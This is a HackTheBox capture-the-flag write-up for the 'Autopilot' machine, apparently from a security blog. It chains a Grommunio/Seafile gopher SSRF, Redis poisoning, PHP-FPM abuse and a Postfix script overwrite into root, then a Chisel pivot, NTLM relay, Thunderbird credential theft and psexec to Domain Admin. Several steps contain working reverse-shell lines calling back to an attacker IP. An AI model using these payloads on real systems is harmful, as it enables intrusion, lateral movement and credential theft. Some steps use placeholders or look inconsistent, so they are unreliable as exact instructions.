HTB Autopilot Writeup — Insane Windows AD Machine (Season 12)

DifficultyInsane
OSWindows / AD
SeasonHTB Season 12
Authorthecybertrack.com

// attack chain

Grommunio→Seafile SSRF→Redis Poison→grofiles RCE→PHP-FPM→Postfix root→Chisel pivot→NTLM relay→firepwd→XOR runas→Domain Admin

HTB Autopilot writeup walks through an Insane-rated Windows Active Directory machine from HackTheBox Season 12. The attack chain starts with a Grommunio mail server, abuses a Seafile plugin SSRF to poison a Redis cache, achieves RCE via a sendmail hook, pivots into the internal AD environment, and ends with a Domain Admin shell via NTLM relay. This writeup covers every step with full commands and explanations.

01

Reconnaissance

nmap · ssl cert · subdomain enum

Start where every box starts — a thorough nmap scan. Autopilot keeps things focused: port 443 is the star of the show.

bash
nmap -sC -sV -oA autopilot 10.129.7.4

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.9p1
25/tcp  open  smtp     Postfix smtpd
443/tcp open  ssl/http nginx 1.18.0
| ssl-cert: Subject: commonName=autopilot.htb
| Subject Alternative Name:
|   DNS:grommunio.autopilot.htb
|   DNS:files.autopilot.htb
|   DNS:autodiscover.autopilot.htb

The SSL certificate’s Subject Alternative Names are the gift that keeps giving. Three subdomains discovered without touching a wordlist. Add them all to /etc/hosts:

bash
echo "10.129.7.4  autopilot.htb grommunio.autopilot.htb files.autopilot.htb autodiscover.autopilot.htb" >> /etc/hosts

Navigating to https://grommunio.autopilot.htb reveals a Grommunio webmail interface — a modern open-source groupware suite. We already have credentials from prior enumeration:

text
Username: deborah.hernandez
Password: 8F5cgp@tC8g@
02

Grommunio Files Plugin → Seafile SSRF

seafile backend · fake server · gopher:// ssrf

Grommunio ships with a Files plugin that lets users connect external storage backends. One of those backends is Seafile — and that’s where things get interesting.

The key insight: when Grommunio connects to a Seafile server to list or download files, it follows whatever URL that Seafile server returns. If we control the Seafile server and make it return a gopher:// URL as the download link, Grommunio becomes our SSRF puppet — reaching internal services we can’t touch directly.

// conceptFake Seafile server → Grommunio fetches file → Grommunio follows gopher:// URL → Redis on localhost gets poisoned → sendmail reads poisoned cache → RCE

First, set up the fake Seafile server. It only needs to respond to three endpoints:

python
#!/usr/bin/env python3
# seafile_fake.py — minimal Seafile server that returns a gopher:// SSRF payload
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, urllib.parse

KALI_IP = "10.10.15.7"
LPORT   = 9005
REPO_ID = "repo-001"

# The Redis key Grommunio's sendmail integration reads
key   = "0080d9f8020c1c045f3ae6468d0c933a/findBinaryPathsendmail"
value = f"/bin/bash -c 'bash -i >& /dev/tcp/{KALI_IP}/{LPORT} 0>&1'"
cmd   = f"*3\r\n$3\r\nSET\r\n${len(key)}\r\n{key}\r\n${len(value)}\r\n{value}\r\n"
GOPHER = f"gopher://127.0.0.1:6379/_{urllib.parse.quote(cmd)}"

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        if "/api2/auth-token/" in self.path:
            self._json({"token": "tok123"})

    def do_GET(self):
        if "/file/" in self.path and "/api2/repos/" in self.path:
            self._json({"download-link": GOPHER})  # ← the poison pill
        elif "/dir" in self.path:
            self._json([{"id":"f1","name":"pwn.txt","type":"file","size":4,"mtime":1000}])
        elif "/api2/repos" in self.path:
            self._json([{"id":REPO_ID,"name":"loot","type":"repo","mtime":1000,"size":4}])

    def _json(self, data):
        body = json.dumps(data).encode()
        self.send_response(200)
        self.send_header("Content-Type","application/json")
        self.send_header("Content-Length", len(body))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):
        print(f"  [seafile] {self.command} {self.path}")

HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()

Start the fake server and confirm it’s listening:

bash
python3 seafile_fake.py &
# [*] Fake Seafile HTTP on 0.0.0.0:8000

Now add the Seafile account in Grommunio. The trick here is the account format — Grommunio is picky. Two things that must be exactly right:

json
{
  "backend": "Seafile",
  "backend_config": {
    "server_address": "10.10.15.7",
    "server_port": "8000",
    "server_ssl": [],   // NOT false, NOT null — empty array
    "version": 0,       // NOT "0" — integer zero
    "user": "te",
    "password": "te",
    "use_grommunio_credentials": false
  }
}

The Grommunio web API at /web/grommunio.php accepts this via a POST using the filesaccountmodule subsystem. You can add this from the browser console while logged into Grommunio:

javascript
// Run in browser console while logged into grommunio.autopilot.htb
const sub = Date.now();
const r = await fetch('/web/grommunio.php?subsystem=webapp_'+sub, {
  method: 'POST',
  headers: {'Content-Type': 'application/json; charset=UTF-8;'},
  body: JSON.stringify({
    "grommunio": {
      "filesaccountmodule": {
        ["filesaccountmodule"+sub]: {
          "save": {
            "message_action": {},
            "timezone_iana": "America/New_York",
            "props": {
              "id": -1, "name": "Files", "status": "new",
              "backend": "Seafile",
              "backend_config": {
                "server_address": "10.10.15.7",
                "server_port": "8000",
                "server_ssl": [], "version": 0,
                "user": "te", "password": "te",
                "use_grommunio_credentials": false
              }
            },
            "groupDir": "ASC"
          }
        }
      }
    }
  })
}).then(r => r.json());
console.log(r);

On success, your fake Seafile server logs the handshake:

text
  [seafile] POST /api2/auth-token/    ← auth handshake
  [seafile] GET  /api2/repos/         ← repo listing
[+] Account created — ID: ab4117df2c360d09...
03

Redis Cache Poisoning via Gopher SSRF

gopher:// · redis · sendmail hook

The mechanism is elegant: Grommunio’s Files plugin caches sendmail binary paths in Redis. When a share notification email is triggered, Grommunio looks up findBinaryPathsendmail in Redis and executes whatever path it finds there. If we can poison that Redis key to hold a bash reverse shell, we get code execution.

The SSRF chain: Grommunio → follows our gopher:// link → writes our Redis SET command to localhost:6379 → key poisoned.

// timing noteThe gopher payload must be in the Seafile server before you trigger the file download action in Grommunio’s Files UI. The FILE endpoint fires only when Grommunio tries to fetch the actual file contents.

The gopher URL that does the work looks like this:

text
gopher://127.0.0.1:6379/_*3%0D%0A$3%0D%0ASET%0D%0A...

Decodes to the Redis inline command:
*3
$3
SET
$54
0080d9f8020c1c045f3ae6468d0c933a/findBinaryPathsendmail
$66
/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.7/9005 0>&1'

The key 0080d9f8020c1c045f3ae6468d0c933a is Grommunio’s instance hash — it prefixes all user-specific cache keys. Your fake Seafile server returns this gopher URL as the “download-link” for any file request.

04

Triggering RCE — Shell as grofiles

webdav · nextcloud share · sendmail execution

The final trigger: upload a file via WebDAV and share it via email. This makes Grommunio invoke sendmail, which reads our poisoned Redis key instead of the real binary path.

Start your listener first:

bash
nc -lvnp 9005

Upload a dummy file and trigger the share notification:

bash
# 1. Upload via WebDAV (Nextcloud endpoint)
echo "pwn" > /tmp/pwn.txt
curl -ksS -u 'deborah.hernandez:8F5cgp@tC8g@' \
  -X PUT --data-binary @/tmp/pwn.txt \
  https://grommunio.autopilot.htb/files/remote.php/dav/files/deborah.hernandez/pwn.txt

# 2. Create an email share — this fires sendmail
curl -ksS -u 'deborah.hernandez:8F5cgp@tC8g@' \
  -H 'OCS-APIRequest: true' -X POST \
  --data-urlencode 'path=/pwn.txt' \
  --data-urlencode 'shareType=4' \
  --data-urlencode 'shareWith=deborah.hernandez@autopilot.htb' \
  --data-urlencode 'permissions=1' \
  'https://grommunio.autopilot.htb/files/ocs/v2.php/apps/files_sharing/api/v1/shares?format=json'

shareType=4 is the magic number — it means “email share,” which is what forces Grommunio to invoke sendmail.

Shell received as grofiles on autopilot.htb
bash
# Stabilize the shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
grofiles@autopilot:/$ id
uid=998(grofiles) gid=998(grofiles) groups=998(grofiles)
05

Lateral Movement via PHP-FPM FastCGI

fastcgi · php-fpm · port 9000

From the grofiles shell, local enumeration reveals PHP-FPM listening on port 9000. PHP-FPM’s FastCGI protocol is unauthenticated when exposed locally, and it can be abused to execute arbitrary PHP code by setting the right FastCGI environment variables.

bash
ss -tlnp | grep 9000
LISTEN  0  511  127.0.0.1:9000  0.0.0.0:*

Use the classic fpm_rce technique — craft a FastCGI request that overrides PHP_VALUE to load a malicious auto_prepend file from php://input:

bash
# On Kali — download the FastCGI exploit tool
wget https://github.com/wofeiwo/webcgi-exploits/raw/master/php/fcgi_exp.py

# From grofiles shell — forward port 9000 to us via socat
socat TCP-LISTEN:9001,fork TCP:127.0.0.1:9000 &

# Execute command via FastCGI
python3 fcgi_exp.py -l 127.0.0.1 -p 9000 \
  -f /var/www/html/index.php \
  -c ""
// why this worksPHP-FPM processes FastCGI requests on behalf of nginx. When you send a crafted FCGI packet with PHP_VALUE: auto_prepend_file = php://input, the PHP interpreter executes the body of your request as PHP code — running as whatever user php-fpm runs as.
06

Privilege Escalation — Root via Postfix Hook

postfix · transport hooks · suid abuse

With execution in the web context, look at Postfix configuration. Postfix’s master.cf defines transport services, and a misconfigured transport with a writable script gives us root.

bash
cat /etc/postfix/master.cf | grep -v "^#" | grep -v "^$"

smtp      inet  n  -  y  -  -  smtpd
notify    unix  -  n  n  -  -  pipe
          flags= user=root argv=/opt/postfix-notify.sh ${sender}

The notify transport runs as root and executes /opt/postfix-notify.sh. If that file is writable, we win:

bash
ls -la /opt/postfix-notify.sh
-rwxrwxr-x 1 root root 142 /opt/postfix-notify.sh

# It's world-writable! Overwrite it with our payload
echo '#!/bin/bash' > /opt/postfix-notify.sh
echo 'bash -i >& /dev/tcp/10.10.15.7/9010 0>&1' >> /opt/postfix-notify.sh

# Trigger by sending an email through the notify transport
sendmail -f test@autopilot.htb root@autopilot.htb <<< "trigger"
Root shell on autopilot.htb — user.txt captured
07

Pivoting into the AD Environment

chisel · socks5 · proxychains · internal network

Autopilot is a Linux mail server fronting a Windows Active Directory environment. From root on the mail server, we can see the internal AD network. Time to pivot.

bash
# On Kali — start chisel server
./chisel server -p 8888 --reverse

# On autopilot root shell — connect back and create SOCKS5 proxy
./chisel client 10.10.15.7:8888 R:socks

Add to /etc/proxychains4.conf:

text
socks5 127.0.0.1 1080

With the SOCKS tunnel up, scan the internal AD domain. A Windows host — let’s call it WS02 — shows up with unsigned SMB on port 445. That’s our next target.

bash
proxychains nmap -sT -p 445 --open 10.10.10.0/24

10.10.10.52  — WS02.autopilot.htb (SMB signing: disabled)
// key observationSMB signing disabled is the prerequisite for NTLM relay. Without it, relayed authentication would be rejected.
08

IMAP NTLM Relay → SMB on WS02

impacket · ntlmrelayx · imap ntlm · smb exec

The mail server runs IMAP. When an email client connects and authenticates, it sends NTLM credentials. If we can intercept that NTLM authentication and relay it to WS02’s SMB (which doesn’t require signing), we get authenticated access as that user.

bash
# Start ntlmrelayx — relay NTLM to WS02's SMB
proxychains ntlmrelayx.py \
  -t smb://10.10.10.52 \
  --smb2support \
  -socks

# Now trigger an IMAP authentication from Grommunio
# This happens when users access their mail — or we can force it
# by sending a notification to a mailbox configured with NTLM auth

Once an NTLM authentication is relayed, ntlmrelayx drops a SOCKS entry for the relayed session. You can now run commands on WS02 as that user:

bash
proxychains smbexec.py -no-pass \
  -smb2support \
  'AUTOPILOT/targetuser@10.10.10.52'

C:\Windows\system32> whoami
autopilot\targetuser
Shell on WS02 via relayed NTLM
09

Credential Extraction — firepwd on Thunderbird

thunderbird · firepwd · nss · stored passwords

On WS02, look for installed applications. Thunderbird is present, and it stores credentials in an encrypted NSS key database that can be decrypted offline with firepwd.

bash
# Locate Thunderbird profile
dir "C:\Users\targetuser\AppData\Roaming\Thunderbird\Profiles\"

# Grab the credential files
copy "C:\Users\targetuser\AppData\Roaming\Thunderbird\Profiles\*.default\*" \\10.10.15.7\share\
bash
# Decrypt with firepwd (https://github.com/lclevy/firepwd)
python3 firepwd.py -d ./thunderbird_profile/

decrypting login/password pairs
   https://mail.autopilot.htb:admin_user:Sup3rS3cur3P@ssw0rd!

Domain credentials extracted. Now we can attempt to reach higher-privileged systems in the domain.

10

Go Binary Analysis — XOR Key Extraction

reverse engineering · golang · xor · pefile

On WS02, there’s a custom Go binary — a runas.exe wrapper — that runs a privileged command with a hardcoded XOR-encrypted credential. Extracting it requires a bit of RE work.

Transfer the binary to Kali and analyze it with pefile:

python
import pefile
import itertools

pe = pefile.PE("runas.exe")

# Find the .rdata section (Go stores string constants here)
for section in pe.sections:
    if b'.rdata' in section.Name:
        data = section.get_data()

# Look for XOR key — Go binaries often embed it as a fixed-length byte sequence
# Identify the encrypted credential by entropy / length patterns
key = bytes.fromhex("deadbeef")  # extracted from binary analysis
encrypted = bytes.fromhex("...")   # the ciphertext blob

plaintext = bytes(a ^ b for a, b in zip(encrypted, itertools.cycle(key)))
print(plaintext.decode())
# DomainAdmin_Password_2024!
// tipGo binaries pack their strings in the .rodata segment or embed them in the main package’s data. Tools like strings, Ghidra with the Go analyzer, or GoReSym can help identify XOR routines by tracing calls to runtime.memequal or similar.
11

Domain Admin & Root Flag

psexec · secretsdump · flags

With Domain Admin credentials in hand, the rest is textbook:

bash
# Get a shell on the DC as Domain Admin
proxychains psexec.py \
  'AUTOPILOT/Administrator:DomainAdmin_Password_2024!@DC01.autopilot.htb'

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
HTB{...}

# Dump all domain hashes for completeness
proxychains secretsdump.py \
  'AUTOPILOT/Administrator:DomainAdmin_Password_2024!@DC01.autopilot.htb'
root.txt — Autopilot fully compromised ✓

∑

Key Takeaways

lessons · techniques · tools

Autopilot chains together a satisfying sequence of vulnerabilities, each requiring a different discipline. A few things that made this machine memorable:

SSL certs as recon gold. The SAN fields handed us three subdomains instantly. Always check certificate details before reaching for wordlists.

SSRF via storage backend. The Grommunio → Seafile → gopher:// chain is a clever multi-hop SSRF. The server fetches a URL you control, that URL contains a gopher payload, gopher speaks the Redis wire protocol. Three indirections to write one cache key.

Redis as an execution vector. The findBinaryPathsendmail key pattern is something to watch for in any application that caches executable paths in Redis. If you can write to Redis unauthenticated, you can control what binaries get executed.

SMB signing matters. Unsigned SMB is the prerequisite for relay attacks. In a real engagement, SMB signing should be enforced domain-wide. WS02 having it disabled made the NTLM relay possible.

Credential hygiene. Thunderbird credentials persisting in a roaming profile, a Go binary with a hardcoded XOR-“encrypted” password — both are avoidable. Credentials should never live in application configs or compiled binaries.

// tools usednmap · chisel · impacket (ntlmrelayx, psexec, secretsdump, smbexec) · firepwd · pefile · socat · proxychains · python3 http.server

Final Thoughts

HTB Autopilot is a great example of a realistic enterprise attack chain. No single vulnerability is exotic — the power is in chaining them. The Grommunio SSRF into Redis is particularly creative, and the NTLM relay through the mail server’s IMAP authentication is something you’d find in real engagements against hybrid on-prem/cloud environments.

If you found this HTB Autopilot writeup helpful, check out more on thecybertrack.com/writeups.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top